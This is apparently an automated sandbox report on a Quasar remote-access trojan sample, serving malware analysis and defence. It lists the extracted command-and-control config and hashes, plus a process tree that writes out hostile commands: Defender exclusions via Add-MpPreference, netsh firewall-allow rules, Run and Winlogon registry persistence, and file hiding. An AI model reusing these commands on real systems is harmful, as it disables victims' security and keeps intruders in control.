Analysis
-
max time kernel
35s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20230703-en -
resource tags
arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system -
submitted
01/08/2023, 06:21
Static task
static1
General
-
Target
d89c44ff36d4864c357a552b57da17e71f572f81e2f8de6d41319f1f8a83739b.exe
-
Size
1.4MB
-
MD5
d7ba4c6216a242c169b84a9c45aaf213
-
SHA1
d229403a2a553e8ff8b16d7b24a5a1b2ccc163dc
-
SHA256
d89c44ff36d4864c357a552b57da17e71f572f81e2f8de6d41319f1f8a83739b
-
SHA512
3db1e5feff634f5b8054c7adea713a34f6cfd6d72c5873995707e3f78001ebbe76f36182cc60edf7f3a46e997dfc57055150b84bccc1e226bbe68409dd9cacaa
-
SSDEEP
24576:U2G/nvxW3Ww0tRp8GiXTBhq7yRDvHcUcjUvy0lr3Tl6icOB/UWoT:UbA30H4zF0UMSAicOB/UWk
Malware Config
Extracted
quasar
1.3.0.0
-
94.131.105.161:12344
QSR_MUTEX_UEgITWnMKnRP3EZFzK
-
encryption_key
5Q0JQBQQfAUHRJTcAIOF
-
install_name
lient.exe
-
log_directory
Lugs
-
reconnect_delay
3000
-
startup_key
itartup
-
subdirectory
SubDir
Signatures
-
Quasar payload 1 IoCs
resource yara_rule behavioral1/memory/3952-319-0x0000000000400000-0x000000000045E000-memory.dmp family_quasar -
Modifies Windows Firewall 1 TTPs 2 IoCs
pid Process 232 netsh.exe 2408 netsh.exe -
ACProtect 1.3x - 1.4x DLL software 2 IoCs
Detects file using ACProtect software.
resource yara_rule behavioral1/files/0x00070000000231a6-234.dat acprotect behavioral1/files/0x00070000000231a6-235.dat acprotect -
Executes dropped EXE 1 IoCs
pid Process 3920 7z.exe -
Loads dropped DLL 1 IoCs
pid Process 3920 7z.exe -
resource yara_rule behavioral1/files/0x00070000000231a7-231.dat upx behavioral1/memory/3920-232-0x0000000000400000-0x0000000000432000-memory.dmp upx behavioral1/files/0x00070000000231a7-233.dat upx behavioral1/files/0x00070000000231a6-234.dat upx behavioral1/files/0x00070000000231a6-235.dat upx behavioral1/memory/3920-236-0x0000000010000000-0x00000000100E2000-memory.dmp upx behavioral1/memory/3920-240-0x0000000000400000-0x0000000000432000-memory.dmp upx -
Unexpected DNS network traffic destination 3 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
description ioc Destination IP 208.67.222.222 Destination IP 208.67.222.222 Destination IP 208.67.222.222 -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 67 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs ping.exe 1 TTPs 4 IoCs
pid Process 392 PING.EXE 4316 PING.EXE 4068 PING.EXE 4612 PING.EXE -
Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 2168 powershell.exe 2168 powershell.exe 3784 powershell.exe 3784 powershell.exe 2792 powershell.exe 2792 powershell.exe 752 powershell.exe 752 powershell.exe 752 powershell.exe 972 powershell.exe 972 powershell.exe 972 powershell.exe 4040 powershell.exe 4040 powershell.exe -
Suspicious use of AdjustPrivilegeToken 48 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 2760 WMIC.exe Token: SeSecurityPrivilege 2760 WMIC.exe Token: SeTakeOwnershipPrivilege 2760 WMIC.exe Token: SeLoadDriverPrivilege 2760 WMIC.exe Token: SeSystemProfilePrivilege 2760 WMIC.exe Token: SeSystemtimePrivilege 2760 WMIC.exe Token: SeProfSingleProcessPrivilege 2760 WMIC.exe Token: SeIncBasePriorityPrivilege 2760 WMIC.exe Token: SeCreatePagefilePrivilege 2760 WMIC.exe Token: SeBackupPrivilege 2760 WMIC.exe Token: SeRestorePrivilege 2760 WMIC.exe Token: SeShutdownPrivilege 2760 WMIC.exe Token: SeDebugPrivilege 2760 WMIC.exe Token: SeSystemEnvironmentPrivilege 2760 WMIC.exe Token: SeRemoteShutdownPrivilege 2760 WMIC.exe Token: SeUndockPrivilege 2760 WMIC.exe Token: SeManageVolumePrivilege 2760 WMIC.exe Token: 33 2760 WMIC.exe Token: 34 2760 WMIC.exe Token: 35 2760 WMIC.exe Token: 36 2760 WMIC.exe Token: SeIncreaseQuotaPrivilege 2760 WMIC.exe Token: SeSecurityPrivilege 2760 WMIC.exe Token: SeTakeOwnershipPrivilege 2760 WMIC.exe Token: SeLoadDriverPrivilege 2760 WMIC.exe Token: SeSystemProfilePrivilege 2760 WMIC.exe Token: SeSystemtimePrivilege 2760 WMIC.exe Token: SeProfSingleProcessPrivilege 2760 WMIC.exe Token: SeIncBasePriorityPrivilege 2760 WMIC.exe Token: SeCreatePagefilePrivilege 2760 WMIC.exe Token: SeBackupPrivilege 2760 WMIC.exe Token: SeRestorePrivilege 2760 WMIC.exe Token: SeShutdownPrivilege 2760 WMIC.exe Token: SeDebugPrivilege 2760 WMIC.exe Token: SeSystemEnvironmentPrivilege 2760 WMIC.exe Token: SeRemoteShutdownPrivilege 2760 WMIC.exe Token: SeUndockPrivilege 2760 WMIC.exe Token: SeManageVolumePrivilege 2760 WMIC.exe Token: 33 2760 WMIC.exe Token: 34 2760 WMIC.exe Token: 35 2760 WMIC.exe Token: 36 2760 WMIC.exe Token: SeDebugPrivilege 2168 powershell.exe Token: SeDebugPrivilege 3784 powershell.exe Token: SeDebugPrivilege 2792 powershell.exe Token: SeDebugPrivilege 752 powershell.exe Token: SeDebugPrivilege 972 powershell.exe Token: SeDebugPrivilege 4040 powershell.exe -
Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 2984 wrote to memory of 4456 2984 d89c44ff36d4864c357a552b57da17e71f572f81e2f8de6d41319f1f8a83739b.exe 86 PID 2984 wrote to memory of 4456 2984 d89c44ff36d4864c357a552b57da17e71f572f81e2f8de6d41319f1f8a83739b.exe 86 PID 2984 wrote to memory of 4456 2984 d89c44ff36d4864c357a552b57da17e71f572f81e2f8de6d41319f1f8a83739b.exe 86 PID 4456 wrote to memory of 3552 4456 cmd.exe 89 PID 4456 wrote to memory of 3552 4456 cmd.exe 89 PID 4456 wrote to memory of 3552 4456 cmd.exe 89 PID 3552 wrote to memory of 1452 3552 cmd.exe 90 PID 3552 wrote to memory of 1452 3552 cmd.exe 90 PID 3552 wrote to memory of 1452 3552 cmd.exe 90 PID 4456 wrote to memory of 392 4456 cmd.exe 91 PID 4456 wrote to memory of 392 4456 cmd.exe 91 PID 4456 wrote to memory of 392 4456 cmd.exe 91 PID 392 wrote to memory of 2760 392 cmd.exe 92 PID 392 wrote to memory of 2760 392 cmd.exe 92 PID 392 wrote to memory of 2760 392 cmd.exe 92 PID 4456 wrote to memory of 2168 4456 cmd.exe 96 PID 4456 wrote to memory of 2168 4456 cmd.exe 96 PID 4456 wrote to memory of 2168 4456 cmd.exe 96 PID 4456 wrote to memory of 3784 4456 cmd.exe 100 PID 4456 wrote to memory of 3784 4456 cmd.exe 100 PID 4456 wrote to memory of 3784 4456 cmd.exe 100 PID 4456 wrote to memory of 2792 4456 cmd.exe 101 PID 4456 wrote to memory of 2792 4456 cmd.exe 101 PID 4456 wrote to memory of 2792 4456 cmd.exe 101 PID 4456 wrote to memory of 752 4456 cmd.exe 103 PID 4456 wrote to memory of 752 4456 cmd.exe 103 PID 4456 wrote to memory of 752 4456 cmd.exe 103 PID 4456 wrote to memory of 972 4456 cmd.exe 106 PID 4456 wrote to memory of 972 4456 cmd.exe 106 PID 4456 wrote to memory of 972 4456 cmd.exe 106 PID 4456 wrote to memory of 3920 4456 cmd.exe 107 PID 4456 wrote to memory of 3920 4456 cmd.exe 107 PID 4456 wrote to memory of 3920 4456 cmd.exe 107 PID 4456 wrote to memory of 4040 4456 cmd.exe 109 PID 4456 wrote to memory of 4040 4456 cmd.exe 109 PID 4456 wrote to memory of 4040 4456 cmd.exe 109 PID 4040 wrote to memory of 232 4040 powershell.exe 111 PID 4040 wrote to memory of 232 4040 powershell.exe 111 PID 4040 wrote to memory of 232 4040 powershell.exe 111 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 312 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\d89c44ff36d4864c357a552b57da17e71f572f81e2f8de6d41319f1f8a83739b.exe"C:\Users\Admin\AppData\Local\Temp\d89c44ff36d4864c357a552b57da17e71f572f81e2f8de6d41319f1f8a83739b.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2984 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ratt.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:4456 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c nslookup myip.opendns.com. resolver1.opendns.com3⤵
- Suspicious use of WriteProcessMemory
PID:3552 -
C:\Windows\SysWOW64\nslookup.exenslookup myip.opendns.com. resolver1.opendns.com4⤵PID:1452
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wmic ComputerSystem get Domain3⤵
- Suspicious use of WriteProcessMemory
PID:392 -
C:\Windows\SysWOW64\Wbem\WMIC.exewmic ComputerSystem get Domain4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2760
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePowershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2168
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePowershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\"'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3784
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePowershell -Command 'Add-MpPreference -ExclusionPath "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe"'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2792
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePowershell -Command 'Add-MpPreference -ExclusionPath "$Env:SystemDrive\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:752
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePowershell -Command 'Add-MpPreference -ExclusionProcess "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:972
-
-
C:\Users\Admin\AppData\Local\Temp\7z.exe7z.exe x -o"C:\Users\Admin\AppData\Local\Temp" -y ratt.7z3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3920
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -executionpolicy RemoteSigned -WindowStyle Hidden -file Add.ps13⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4040 -
C:\Windows\SysWOW64\netsh.exe"C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=in action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes4⤵
- Modifies Windows Firewall
PID:232
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=out action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes4⤵
- Modifies Windows Firewall
PID:2408
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe"4⤵PID:1668
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic computersystem where name="MSXGLQPS" set AutomaticManagedPagefile=False5⤵PID:3284
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe"4⤵PID:2792
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic pagefileset where name="C:\\pagefile.sys" set InitialSize=15000,MaximumSize=200005⤵PID:4008
-
-
-
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"4⤵PID:3816
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c ping 127.0.0.1 -n 9 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"5⤵PID:4480
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 96⤵
- Runs ping.exe
PID:392
-
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"6⤵PID:3276
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c ping 127.0.0.1 -n 9 > nul && copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" "C:\Users\Admin\Music\rot.exe" && ping 127.0.0.1 -n 9 > nul && "C:\Users\Admin\Music\rot.exe"5⤵PID:3604
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 96⤵
- Runs ping.exe
PID:4316
-
-
-
-
C:\Windows\SysWOW64\attrib.exe"C:\Windows\system32\attrib.exe" +h "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"4⤵
- Views/modifies file attributes
PID:312
-
-
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "ratt" /t REG_SZ /d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe" /F3⤵PID:2380
-
-
C:\Users\Admin\AppData\Local\Temp\ratt.exe"ratt.exe"3⤵PID:3624
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c ping 127.0.0.1 -n 9 > nul && copy "C:\Users\Admin\AppData\Local\Temp\ratt.exe" "C:\Users\Admin\Music\rot.exe" && ping 127.0.0.1 -n 9 > nul && "C:\Users\Admin\Music\rot.exe"4⤵PID:3732
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 95⤵
- Runs ping.exe
PID:4068
-
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 95⤵
- Runs ping.exe
PID:4612
-
-
C:\Users\Admin\Music\rot.exe"C:\Users\Admin\Music\rot.exe"5⤵PID:4064
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"6⤵PID:3952
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
224.4MB
MD5c055d99b639e471372e8caf2b2c20b8e
SHA12ad78a09d0323dbb4b97a72b35082093c4c202f3
SHA256af4266b026980092fa818f8e72b9371383882f3fa5d513ae95e78ae1da003475
SHA512e5fab1bbc8aa8eb5c92b290de3f89df411cc252bd17527dbf5830e7f9959a29854f3e98e1ce2a1bf831973acbd98389867d1d8119ab82aba7837ccb1e7d93cae
-
Filesize
198.1MB
MD5a0365855ab1767a5c031a915e7b0d706
SHA190d17ef2ecd196684be17e8c791d80669c7d34aa
SHA25676be324078fb3dd5682e374692193c1bc6b7f9734254e912ea148c485b30dddf
SHA512c9b418d400bc26631f54d1f4eb5d08bd7453c191d2196c9ff4d5351a89ab5e2a9f964902529597849c60c076f21c14b226a883ead247182c0c71880fbc9a0568
-
Filesize
1KB
MD533b19d75aa77114216dbc23f43b195e3
SHA136a6c3975e619e0c5232aa4f5b7dc1fec9525535
SHA256b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2
SHA512676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821
-
Filesize
1KB
MD59a2d0ce437d2445330f2646472703087
SHA133c83e484a15f35c2caa3af62d5da6b7713a20ae
SHA25630ea2f716e85f8d14a201e3fb0897d745a01b113342dfb7a9b7ac133c4ef150c
SHA512a61d18d90bfad9ea8afdfa37537cfea3d5a3d0c161e323fa65840c283bdc87c3de85daaff5519beea2f2719eec1c68398eea8679b55ff733a61052f073162d5d
-
Filesize
11KB
MD55a5e829b22087ed6795521d94182cfab
SHA12ed51a6f0d9e1eb886d105a4461adf4e26c6517a
SHA256c56cab787c05f8c9f90e0b4dfe8247f67c2f405df00771089359baddb9368f40
SHA512ab1f4f32cfe578922425db98155c428edbd8d1daec435e1c3748a4630f9f568d4ea37c401df35bc918373a829c0bab68c513b0d76ac1cbaddcaf165b793b1dad
-
Filesize
11KB
MD5102df8628d6ec45262d1176b4a72a42d
SHA18e41f2e5dbc0ddf4de236cc0f5989494fd8749b6
SHA2563a66b6365a65b20d369660b8073a77478f5712f646532087c6900684d1199b5e
SHA512f1d928c51cd3ecf5d4b62f12a0b79ee0698e59d559fd37d33d0d0fc5734559729939588e8cde3ddab278b639036fd147dca57bb860b2613bd62d09ae8840f6fb
-
Filesize
11KB
MD51ac41479450f0499f455ec87c5698de0
SHA1a432ea8cbe717be1a7cc718e1d0f2cf48d3c0891
SHA256eedf92f6dfa42883e4f028789bc2bd2cc2e6642b1af0c9cd224f361a72a581c0
SHA51235bf215d1e033915fd1de2d0a585bfd6ce7a1e72a5d2999fe87caae3d6656f427803962f7d517b238fc35c516b87f9b15e8e737e26752f58a9b5191ce6d41a1e
-
Filesize
11KB
MD5e32b3f926fd3de09eb524ac16a8b434f
SHA153368af275a41f96fe8b1d98f3a68af446cd79e4
SHA2562b8ea3be60a0ceda722077197a9ce0a2ddf41a5f50bd0221363910025cc9e493
SHA5127bebbcf5a8e733fa5fff73e57b7ae1050b8426fdf51fc8e13f7156cc70b426aa9fc65804fe154c96d0dffed32142fdc6429f30a37b2dbe9f9337ec50c3c50b2a
-
Filesize
11KB
MD55e99ce1e1022a7c633c465e70982f990
SHA1835e7f406e8556781c76b8161ff6480de69c331a
SHA25679827d7aa02e75f00499bac8eec5042bd25e1440d5126a79f68296944bbbd131
SHA512ced3e1c7ab9eb55cc7eceae02d02d22de8ea58a7a9a79f4c7fa25be116f07ca164b208f6437645af2b7161df6095d728ed017cb398a48ee51a6bbddd35d035f8
-
Filesize
328KB
MD515bbbe562f9be3e5dcbb834e635cc231
SHA17c01cf5fa4db2312c5ed2f7b8c41e3e5c346a51a
SHA256ed50ef8e0b6dd83fb0c3f733329d4aa6e5a3beb3491e2ba9d2ae206813508dde
SHA512769287951b8c16f4b10c1b58e82612844babe7b5c10445fe848d713fb5e8321bcbbd9780e9c564cffe35ea4144e8a7e19645291c4eea372fcaa19ae395a97287
-
Filesize
328KB
MD515bbbe562f9be3e5dcbb834e635cc231
SHA17c01cf5fa4db2312c5ed2f7b8c41e3e5c346a51a
SHA256ed50ef8e0b6dd83fb0c3f733329d4aa6e5a3beb3491e2ba9d2ae206813508dde
SHA512769287951b8c16f4b10c1b58e82612844babe7b5c10445fe848d713fb5e8321bcbbd9780e9c564cffe35ea4144e8a7e19645291c4eea372fcaa19ae395a97287
-
Filesize
71KB
MD58ba2e41b330ae9356e62eb63514cf82e
SHA18dc266467a5a0d587ed0181d4344581ef4ff30b2
SHA256ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea
SHA5122fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d
-
Filesize
71KB
MD58ba2e41b330ae9356e62eb63514cf82e
SHA18dc266467a5a0d587ed0181d4344581ef4ff30b2
SHA256ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea
SHA5122fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d
-
Filesize
1KB
MD50df43097e0f0acd04d9e17fb43d618b9
SHA169b3ade12cb228393a93624e65f41604a17c83b6
SHA256c8e4a63337a25f55f75ad10ab2b420d716bad4b35a2044fd39dcd5936419d873
SHA51201ae71dd2ee040baad6f4b9afcfbaeca2b9f6cc7d60ade5de637238d65c17d74292734666f4ae6b533f6bf1007c46387d8e690d97c3b7a535bcd6f216e70c4fb
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
693KB
MD57de6fdf3629c73bf0c29a96fa23ae055
SHA1dcb37f6d43977601c6460b17387a89b9e4c0609a
SHA256069979bfb2aefe3cac239fe4f2477672eb75b90c9853fb67b2ac1438f2ec44ff
SHA512d1ef2299aacf429572fd6df185009960e601e49126f080fdced26ec407e5db86eaa902e474635464aac146b7de286667a398f2c5e46c4a821dad2579bfb3acf8
-
Filesize
1KB
MD57ea1fec84d76294d9256ae3dca7676b2
SHA11e335451d1cbb6951bc77bf75430f4d983491342
SHA2569a419095c0bafc6b550f3f760c7b4f91ef3a956cfa6403d3750164ecdbe35940
SHA512ab712c45081b3d1c7edd03e67a8db1518a546f3fbf00e99838dfe03a689c4867a6953e6603dcd2be458b2441f4a2b70286fd7d096549cfcf032dd2cd54d68317
-
Filesize
329.1MB
MD5a60aecc96dbf8e0e27d8e9d8488fcdb6
SHA1c3f00ac60cfb0e922f1ac9f70a62e019bb09d51e
SHA25681c5214a4cf09ad1892886aaebfb6d84146ede80bdbe2b3c850ea1eeed78ac8a
SHA512e90162bf69dd671d12821e195d64eb3b09ec119d55a6909f811fff8ead8e763d2abc9814d96dac1bd51d929ef59b6261c8a0f1ca0add66f1b6ff30aa99c775f6
-
Filesize
172.5MB
MD5146d818068be43fd59f03881b8a5f5c9
SHA1f0c0a17dfb7574883e4c8410e942341841a35300
SHA25665daf6e190cc7f5c64d0792009cce6c868fab811806e30545bc3767565959769
SHA5126f27ae73082885b055584728c20409e648cd013a7dc72944a62e97e7cfe25496f1a3428c1ccfda543e6ab6d5a2a0d0df354e7d5cf87ccc3170232101c37537ae
-
Filesize
118.9MB
MD5db6f3fec1ece2ac842fb70bf0674d422
SHA135b04a29ea61408f095352ff07e965639435846c
SHA25681f668102f42afb02e2b2ab160d9b466915550d92b20e2a53b16b246e2dd2040
SHA512f7d41bffda4e4539f2ebf1740feec145c4606d1f857df86b865c2f167746abe121e3dabe59c62670f7e66334a1c8044a437a983cb0e6b2c793a83c46acb2b51c
-
Filesize
80.1MB
MD5ad5ec844e0f5085180c1077aa10e36bb
SHA1ecb483910d84d6b4adf689d81c81d464383c4168
SHA256726723c95a1ad331ac6d01613692f9e8eeed48f7639458f762124bfc29a45d20
SHA512f449a462307aba73cbd3766c778d1e4f730df25c9036fd5fef5c05bd269f1adb20a1a2f6491b64d1f02df0b4973e9242ac26d5d003d8e54b95cbbf8de271b253
-
Filesize
79.4MB
MD59277df26a6d970f5dbe45d99238d5c39
SHA11c39f25de455f0347e8934e750b5a28280482e4d
SHA256c2489f7f9e9adaa3f850dcada73ee76129dfb726ca2083143cf24d98075b431b
SHA512307dc151c4ba583838185de31af2bba01f6ced242999a60c38ad939d99dcd5924a4284b816b8ea644087b675c75535ea9305f81866db00c8c4476f9905332693